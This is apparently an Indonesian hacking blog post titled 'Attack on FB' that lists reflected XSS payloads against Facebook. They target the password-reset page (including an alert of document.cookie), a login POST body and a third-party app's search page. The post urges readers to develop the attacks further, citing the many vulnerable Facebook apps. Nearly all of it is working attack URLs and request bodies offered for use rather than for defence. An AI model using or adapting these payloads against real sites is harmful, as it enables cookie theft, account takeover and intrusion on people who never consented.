Serangan ke FB

Serangan berikut masih sangat mungkin untuk dikembangkan untuk melacak vuln pada facebook.

XSS facebook pertama yang vuln pada fasilitas “Lupa Password”:
XSS:
http://www.facebook.com/reset.php?locale=en_GB%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Mirror : http://www.xssed.com/mirror/55951/

Halaman Login :
https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F

POST:

email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login

Salah satu aplikasi facebook :
http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E

Kemungkinan serangan melalui XSS ini masih sangat rentan, apalagi dengan banyaknya aplikasi facebook yang berjubel semakin memudahkan para hacker mengembangkan serangan.

Mari berkarya :D